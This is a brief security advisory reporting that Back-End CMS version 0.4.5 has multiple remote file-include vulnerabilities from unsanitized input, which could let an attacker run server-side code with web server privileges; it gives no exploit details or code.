Back-End CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
Back-End CMS version 0.4.5 is vulnerable to these issues.
